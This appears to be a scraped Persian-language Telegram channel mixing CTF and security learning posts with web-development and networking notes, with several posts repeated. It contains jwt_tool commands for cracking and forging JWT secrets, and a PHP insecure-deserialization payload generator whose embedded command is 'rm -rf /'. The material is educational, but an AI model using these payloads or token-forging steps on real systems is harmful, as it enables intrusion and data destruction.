Forwarded from Daily Writeups
⤷ Title: Mengungkap Jejak Serangan XSS dan SQL Injection Menggunakan Wireshark
════════════════════════
𐀪 Author: Triadi W
════════════════════════
ⴵ Time: Tue, 28 Jan 2025 17:01:56 GMT
════════════════════════
⌗ Tags: #wireshark #merdekasiber #sql_injection #xss_attack
════════════════════════
𐀪 Author: Triadi W
════════════════════════
ⴵ Time: Tue, 28 Jan 2025 17:01:56 GMT
════════════════════════
⌗ Tags: #wireshark #merdekasiber #sql_injection #xss_attack
Medium
Mengungkap Jejak Serangan XSS dan SQL Injection Menggunakan Wireshark
Keamanan jaringan telah menjadi salah satu prioritas utama di era digital saat ini. Di antara berbagai jenis serangan, Cross-Site Scripting…
https://www.root-me.org/en/Challenges/Web-Server/JWT-Introduction
https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret
https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token
این سه تا چلنج برای آسیب پذیری که موقع encode کردن jwt پیش میاد هس
اولیش بر میگرده به اینکه تویه header الگوریتم encode کردنش none باشه و بعد یوزر رو هم ادمین کنین
دومیش هم با jwt_tool میشه secret که باهاش encode شده رو بدست آورد:
و بعد بدست آوردن secret :
و تویه سومی هم که جذاب بود این بود که وقتی توکن رو ارسال میکرد سریع منقضی میشد و وارد بلک لیست میشد
ولی نکته اینجا بود که خود توکن وارد بلک لیست میشد نه آی دی json ! ( یه ای دی داشت واسه اینکه جلوی چند بار درخواست با اون توکن رو بگیره )
حالا میشه دو تا توکنی پیدا کرد که دقیقا Decode شدش مث هم باشه ولی دو تا ای دی جدا بده و حالا از بلک لیست خارج میشیم. یه همچین چیزی :
(×××.×××.×××) ==== (×××.×××.×××=)
( ینی توکن هسن 🦦)
در واقع decode شده ی =××× با ××× برابر هس.
https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret
https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token
این سه تا چلنج برای آسیب پذیری که موقع encode کردن jwt پیش میاد هس
اولیش بر میگرده به اینکه تویه header الگوریتم encode کردنش none باشه و بعد یوزر رو هم ادمین کنین
دومیش هم با jwt_tool میشه secret که باهاش encode شده رو بدست آورد:
python3 jwt_tool.py "jwt_token" -C -d /usr/share/wordlists/rockyou.txt
و بعد بدست آوردن secret :
python3 jwt_tool.py "JWT_token" -T -S hs512 -p "{secret}"و تویه سومی هم که جذاب بود این بود که وقتی توکن رو ارسال میکرد سریع منقضی میشد و وارد بلک لیست میشد
ولی نکته اینجا بود که خود توکن وارد بلک لیست میشد نه آی دی json ! ( یه ای دی داشت واسه اینکه جلوی چند بار درخواست با اون توکن رو بگیره )
حالا میشه دو تا توکنی پیدا کرد که دقیقا Decode شدش مث هم باشه ولی دو تا ای دی جدا بده و حالا از بلک لیست خارج میشیم. یه همچین چیزی :
(×××.×××.×××) ==== (×××.×××.×××=)
( ینی توکن هسن 🦦)
در واقع decode شده ی =××× با ××× برابر هس.
❤1
ارسال به ایمیل کاربر برای مواقعی مثل Reset Pass :
const nodemailer = require('nodemailer');
const crypto = require('crypto');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'x@gmail.com', // Replace with your email
pass: 'pass' // Replace with your app password as Google Account Security
}
});
// function for create pass token
function generateStrongPassword(){
return new Promise((resolve, reject) => {
crypto.randomBytes(32, (err, buffer) => {
if (err) {
reject(err);
} else {
const token = buffer.toString('hex');
resolve(token);}
});
});
}
router.get('/forget_pass' , async(req , res) => {
res.render('forget_password')
})
router.post('/forget_pass' , async(req , res) => {
const {email} = req.body ;
const user = await userModel.findOne({ where: { email } }); // find user
if (user){
const token = await generateStrongPassword() ;
// add in file {forget.pass.model.js}
console.log(token)
await ResetPassword.create({
email: user.email ,
token : token ,
expire: Date.now() + 3600000
})
const resetUrl = `http://localhost:8000/auth/forget_pass/${token}`;
const mailOptions = {
from: 'x@gmail.com',
to: user.email,
subject: 'Password Reset Request',
html: `
<h1>Password Reset Request</h1>
<p>You requested a password reset. Click the link below to reset your password:</p>
<a href="${resetUrl}" style="
...
">Reset Password</a>
<p>This link will expire in 1 hour.</p>
`
};
await transporter.sendMail(mailOptions);
res.send("Email sent");
console.log(token)
}
else{
res.redirect('/auth/login')
}
})👍4❤1
/dev/null
ارسال به ایمیل کاربر برای مواقعی مثل Reset Pass : const nodemailer = require('nodemailer'); const crypto = require('crypto'); const transporter = nodemailer.createTransport({ service: 'gmail', auth: { user: 'x@gmail.com', // Replace with…
اقا app password رو کامیت نکنین
با یه .env ، بیاین Encrypt کنین🦦
با یه .env ، بیاین Encrypt کنین🦦
فرض کنین بخوایم یه فایل 1 گیگ رو از سرور بخونیم و بدیم به کاربر و بخوایم به صورت ناهمزمان که قبلا گفتم ، اطلاعات فایل رو بفرستیم ( به این صورت
حالا اگه سرور، Ram کمتر از یه گیگ داشته باشه کرش میکنه
اینجا stream ها میان کمک و داده ها رو به صورت chunk chunk ( بخش بخش ) میفرستیم و سریع اطلاعات پردازش میشن و اینطوری دیگه ram پر نمیشه و مستقیم به کلاینت ارسال میشن .
مثالشم :
اینجا stream.pipe میاد مستقیم اطلاعات رو به کلاینت میده .
fs.readFile )حالا اگه سرور، Ram کمتر از یه گیگ داشته باشه کرش میکنه
اینجا stream ها میان کمک و داده ها رو به صورت chunk chunk ( بخش بخش ) میفرستیم و سریع اطلاعات پردازش میشن و اینطوری دیگه ram پر نمیشه و مستقیم به کلاینت ارسال میشن .
مثالشم :
const http = require('http');
const fs = require('fs');
http.createServer((req, res) => {
const stream = fs.createReadStream('bigfile.txt', { encoding: 'utf8' });
stream.pipe(res);
}).listen(3000, () => console.log('httplocalhost:8080'));
اینجا stream.pipe میاد مستقیم اطلاعات رو به کلاینت میده .
👍1👏1
Forwarded from Daily Writeups
⤷ Title: PHP Type Juggling Vulnerabilities: How Attackers Exploit Loose Comparisons
════════════════════════
𐀪 Author: Amal PK
════════════════════════
ⴵ Time: Thu, 06 Feb 2025 15:02:16 GMT
════════════════════════
⌗ Tags: #bug_bounty #bug_bounty_tips #programming #hacking #cybersecurity
════════════════════════
𐀪 Author: Amal PK
════════════════════════
ⴵ Time: Thu, 06 Feb 2025 15:02:16 GMT
════════════════════════
⌗ Tags: #bug_bounty #bug_bounty_tips #programming #hacking #cybersecurity
Medium
PHP Type Juggling Vulnerabilities: How Attackers Exploit Loose Comparisons
PHP type juggling can lead to security vulnerabilities. Learn how attackers exploit it and how to secure your web applications.
👍3
Serialization
کلا وقتی بیایم یه object رو به یه رشته یا فرمت باینری در بیاریم به این کار میگن Serialization .
چرا اصلا این کارو میکنیم ؟
یه دلیل مهمش اینه که داده ها تویه شبکه باید به صورت رشته یا باینری انتقال داده بشن و یا کش کردن و ...
حالا یه آسیب پذیری Insecure Deserialization رخ میده و زمانی اتفاق میافته که ورودی کنترلنشده از کاربر مستقیماً توسط unserialize() پردازش بشه.
( این Deserialization ینی داده رو از رشته به object تبدیل کنیم )
کجا رخ میده ؟ بیشتر تویه کوکی ها ، session ها و ورودی های کاربر هست که میتونه باعث RCE که قبلا گفتم راجبش بشه
یکی از جاهایی که میتونه رخ بده استفاده از magic methods هاست مثلا اگه کد آسیب پذیر این باشه :
میشه با این :
میشه با این کد یه توکن ساخت و بعدش تویه قسمت کوکی هایی که برای کاربر ست میشه قرار بدیم . بعد __destruct صدا زده میشه و دستور اجرا میشه .
خب آقا همین طور که میبینین در اصل ما داریم object تزریق میکنیم به کد رویه سرور که بر خلاف حالا زبان های python و node js که میشه مستقیم code inject کرد. در اصل اصلا نمیشه بدون داشتن سورس کد رویه سرور های php، این آسیب پذیری رو روش تست کرد مگه اینکه بشه حدس زد کدش رو .
کلا وقتی بیایم یه object رو به یه رشته یا فرمت باینری در بیاریم به این کار میگن Serialization .
چرا اصلا این کارو میکنیم ؟
یه دلیل مهمش اینه که داده ها تویه شبکه باید به صورت رشته یا باینری انتقال داده بشن و یا کش کردن و ...
حالا یه آسیب پذیری Insecure Deserialization رخ میده و زمانی اتفاق میافته که ورودی کنترلنشده از کاربر مستقیماً توسط unserialize() پردازش بشه.
( این Deserialization ینی داده رو از رشته به object تبدیل کنیم )
کجا رخ میده ؟ بیشتر تویه کوکی ها ، session ها و ورودی های کاربر هست که میتونه باعث RCE که قبلا گفتم راجبش بشه
یکی از جاهایی که میتونه رخ بده استفاده از magic methods هاست مثلا اگه کد آسیب پذیر این باشه :
class Evil {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
if (isset($_COOKIE['session'])) {
$data = base64_decode($_COOKIE['session']);
$obj = unserialize($data);
}
?>میشه با این :
<?php
class Evil {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$evil = new Evil();
$evil->cmd = "rm -rf /";
$payload = base64_encode(serialize($evil));
echo "Payload: " . $payload . "\n";
?>
میشه با این کد یه توکن ساخت و بعدش تویه قسمت کوکی هایی که برای کاربر ست میشه قرار بدیم . بعد __destruct صدا زده میشه و دستور اجرا میشه .
خب آقا همین طور که میبینین در اصل ما داریم object تزریق میکنیم به کد رویه سرور که بر خلاف حالا زبان های python و node js که میشه مستقیم code inject کرد. در اصل اصلا نمیشه بدون داشتن سورس کد رویه سرور های php، این آسیب پذیری رو روش تست کرد مگه اینکه بشه حدس زد کدش رو .
❤2👍1😁1
https://www.root-me.org/en/Challenges/Web-Server/PHP-Serialization?lang=en
آقا تویه این چلنجه هم مث همین بالا Deserialization انجام میداد ولی یه چی که مهم بود اینه که type واسش مهم بود
کلا Type Juggling داشت
وقتی رخ میده که کلا نوع داده رو تغییر میده مثلا :
حالا یه تیکه سورس کدش این بود :
که Type Juggling داشت و با این روش باید object inject میکردیم
گفتم اینم ببینین که فقط magic method نباشه 🦦
آقا تویه این چلنجه هم مث همین بالا Deserialization انجام میداد ولی یه چی که مهم بود اینه که type واسش مهم بود
کلا Type Juggling داشت
وقتی رخ میده که کلا نوع داده رو تغییر میده مثلا :
var_dump("0e12345" == "0e67890"); trueحالا یه تیکه سورس کدش این بود :
if ($data['password'] == $auth[ $data['login'] ] ) {
$_SESSION['login'] = $data['login'];که Type Juggling داشت و با این روش باید object inject میکردیم
گفتم اینم ببینین که فقط magic method نباشه 🦦
👏2
This media is not supported in your browser
VIEW IN TELEGRAM
یه قسمت نیاز داشتیم برای ارتباط بین ادمین ها که دیدم بحث خوبیه 🦦
وب سوکت (WebSocket) یه پروتکل ارتباطیه که دو تا ویژگی داره : real time و full duplex . ینی به صورت همزمان و در لحظه امکان ارتباط بین کلاینت و سرور رو برقرار میکنه
حالا چطوری ارتباط میگیره ؟
اولش از طریق HTTP یه درخواست ساده ارسال میشه و تویه هدر درخواستش یه سری هدر های خاص مث ( Upgrade) هس که نشون میده کلاینت میخواد بره رویه از HTTP بره رویهWebSocket ( که همچنان رویه tcp کار میکنه) که اگه سرور موافقت کنه یه اتصال دائمی و دوطرفه برقرار میشه که در آن، کلاینت و سرور میتونن در هر لحظه داده ارسال و دریافت کنند بدون اینکه نیاز به ایجاد مجدد اتصال باشه.
( اطلاعات چتا رو رویه MongoDB سیو کردم)
وب سوکت (WebSocket) یه پروتکل ارتباطیه که دو تا ویژگی داره : real time و full duplex . ینی به صورت همزمان و در لحظه امکان ارتباط بین کلاینت و سرور رو برقرار میکنه
حالا چطوری ارتباط میگیره ؟
اولش از طریق HTTP یه درخواست ساده ارسال میشه و تویه هدر درخواستش یه سری هدر های خاص مث ( Upgrade) هس که نشون میده کلاینت میخواد بره رویه از HTTP بره رویهWebSocket ( که همچنان رویه tcp کار میکنه) که اگه سرور موافقت کنه یه اتصال دائمی و دوطرفه برقرار میشه که در آن، کلاینت و سرور میتونن در هر لحظه داده ارسال و دریافت کنند بدون اینکه نیاز به ایجاد مجدد اتصال باشه.
( اطلاعات چتا رو رویه MongoDB سیو کردم)
🔥2👏1
Forwarded from Brut Security
curl -s URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -uPlease open Telegram to view this post
VIEW IN TELEGRAM
/dev/null
آقا دیدم این مبحث معماری کامپیوتر جذابه 🦦❤️ با یه مثال مبگم همینطور که تو شکل میبینین یه خط تولید ماشین رو شکل داره نشون میده که یه ماشین چند مرحله داره واسه ی تولید شدن مثلا میتونه ساخت بدنه باشه و بعدش رنگ و ... دقیقا مثل اجرای دستورات تویه کامپیوتر که…
خب آقا دیدم این مبحث هم تویه شبکه مثل بحث های معماری جذابه 🦦😂
ببینین برای ارسال داده ها رویه بستر شبکه دو روش داریم :
یکیش استفاده از packet switching هست و یکی دیگه استفاده از circuit switching
تویه packet switching به این صورت عمل میکنه که داده ها به صورت packet های مختلف وارد route ها میشن و بعد بر اساس پهنای باند بین هر route داده ها انتقال پیدا میکنن .(البته یه شرطی هست که باید هر پکت به صورت کامل بین هر route ارسال بشه و بعد پراکسی بشه به router بعدی ) و البته مسیر ارسال هر داده یکسان نیست و میتونه واسه پکت های مختلف مسیر های متفاوتی داشته باشه .
حالا تویه packet switching یه مشکلی هست و اونم ازدحام پکت هاست . هر route یک مموری ثابتی داره که اگه بیشتر از حد داده روش به صورت صف ذخیره بشه برای ارسال ممکن هست داده drop یا loss بشه
از این روش برای ارسال data بیشتر استفاده میشه مثال هاشم مثل tcp/ip , voIP , ...
تویه circuit switching اول برای برقراری یه call Setup رخ میده و در اصل router ها دنبال یک مسیر و لینک کردن ثابت بین سرور و کلاینت هستن
با این کار یک مسیر دائمی تشکیل میشه و میشه داده ها بدون اینکه ازدحام رخ بده ارسال بشن
دو تا رویکرد داریم واسه تشکیل لینک بین سرور و کلاینت : TDM , FDM
تویه FDM فرض کنین اگه فرکانس بین router ها ۱۰۰ گیگ بر ثانیه باشه این میاد بین یوزر های مختلف ولی در تایمی که ارتباط هنوز فعاله اون مسیر مال خودشه .
تویه TDM بر اساس زمان تقسیم بندی میشن ولی اون مدت زمانی که دست هر یوزر هست کل فرکانس بین ها route دست یک نفره . مثال استفاده هاشم هم تویه ATM ها و تلفن های ثابت و ... هست
اما نکته مهمی که هست اینه که درسته تویه circuit switching یه ارتباط دائمی داریم ولی همین خوبیش میتونه به عنوان بدیش تموم بشه 😂
یعنی حتی وقت هایی که یوزر کاری با سرور نداره باز هم بخشی از فرکانس دست اون هست و در این صورت تعداد یوزر کمتری میتونن وصل بشن
ولی تویه packet switching درسته که بعضی از مواقع که تعداد درخواست ها خیلی بالا میره و ازدحام میشه ولی اوب اینکه یوزر ها همیشه در حال ارسال داده نیستن و دوم اینکه میتونیم رویه تایم های خالی که داریم سرشکن کنیم و بهتر بتونیم از زمان استفاده کنیم و تعداد یوزر بیشتری میتونن تویه شبکه باشن
اون بخش ازدحام رو هم میشه حل کرد مثلا :
بعضی پروتکلها (مثلاً TCP) Congestion Control دارن که باعث میشه اگه شبکه شلوغ بشه، سرعت ارسال داده رو کم کنن تا بستهها کمتر Drop بشن ولی تویه UDP این کنترل وجود نداره، برای همین توی استریم و VoIP گاهی قطع و وصلی داریم.
یا اگه تویه یه شرایط خاص داشتیم که تاخیر خیلی مهم بود میشه از QoS استفاده کرد که میاد بسته های مهم تر رو زود تر ارسال میکنه .
#network
ببینین برای ارسال داده ها رویه بستر شبکه دو روش داریم :
یکیش استفاده از packet switching هست و یکی دیگه استفاده از circuit switching
تویه packet switching به این صورت عمل میکنه که داده ها به صورت packet های مختلف وارد route ها میشن و بعد بر اساس پهنای باند بین هر route داده ها انتقال پیدا میکنن .(البته یه شرطی هست که باید هر پکت به صورت کامل بین هر route ارسال بشه و بعد پراکسی بشه به router بعدی ) و البته مسیر ارسال هر داده یکسان نیست و میتونه واسه پکت های مختلف مسیر های متفاوتی داشته باشه .
حالا تویه packet switching یه مشکلی هست و اونم ازدحام پکت هاست . هر route یک مموری ثابتی داره که اگه بیشتر از حد داده روش به صورت صف ذخیره بشه برای ارسال ممکن هست داده drop یا loss بشه
از این روش برای ارسال data بیشتر استفاده میشه مثال هاشم مثل tcp/ip , voIP , ...
تویه circuit switching اول برای برقراری یه call Setup رخ میده و در اصل router ها دنبال یک مسیر و لینک کردن ثابت بین سرور و کلاینت هستن
با این کار یک مسیر دائمی تشکیل میشه و میشه داده ها بدون اینکه ازدحام رخ بده ارسال بشن
دو تا رویکرد داریم واسه تشکیل لینک بین سرور و کلاینت : TDM , FDM
تویه FDM فرض کنین اگه فرکانس بین router ها ۱۰۰ گیگ بر ثانیه باشه این میاد بین یوزر های مختلف ولی در تایمی که ارتباط هنوز فعاله اون مسیر مال خودشه .
تویه TDM بر اساس زمان تقسیم بندی میشن ولی اون مدت زمانی که دست هر یوزر هست کل فرکانس بین ها route دست یک نفره . مثال استفاده هاشم هم تویه ATM ها و تلفن های ثابت و ... هست
اما نکته مهمی که هست اینه که درسته تویه circuit switching یه ارتباط دائمی داریم ولی همین خوبیش میتونه به عنوان بدیش تموم بشه 😂
یعنی حتی وقت هایی که یوزر کاری با سرور نداره باز هم بخشی از فرکانس دست اون هست و در این صورت تعداد یوزر کمتری میتونن وصل بشن
ولی تویه packet switching درسته که بعضی از مواقع که تعداد درخواست ها خیلی بالا میره و ازدحام میشه ولی اوب اینکه یوزر ها همیشه در حال ارسال داده نیستن و دوم اینکه میتونیم رویه تایم های خالی که داریم سرشکن کنیم و بهتر بتونیم از زمان استفاده کنیم و تعداد یوزر بیشتری میتونن تویه شبکه باشن
اون بخش ازدحام رو هم میشه حل کرد مثلا :
بعضی پروتکلها (مثلاً TCP) Congestion Control دارن که باعث میشه اگه شبکه شلوغ بشه، سرعت ارسال داده رو کم کنن تا بستهها کمتر Drop بشن ولی تویه UDP این کنترل وجود نداره، برای همین توی استریم و VoIP گاهی قطع و وصلی داریم.
یا اگه تویه یه شرایط خاص داشتیم که تاخیر خیلی مهم بود میشه از QoS استفاده کرد که میاد بسته های مهم تر رو زود تر ارسال میکنه .
#network
👍3👏1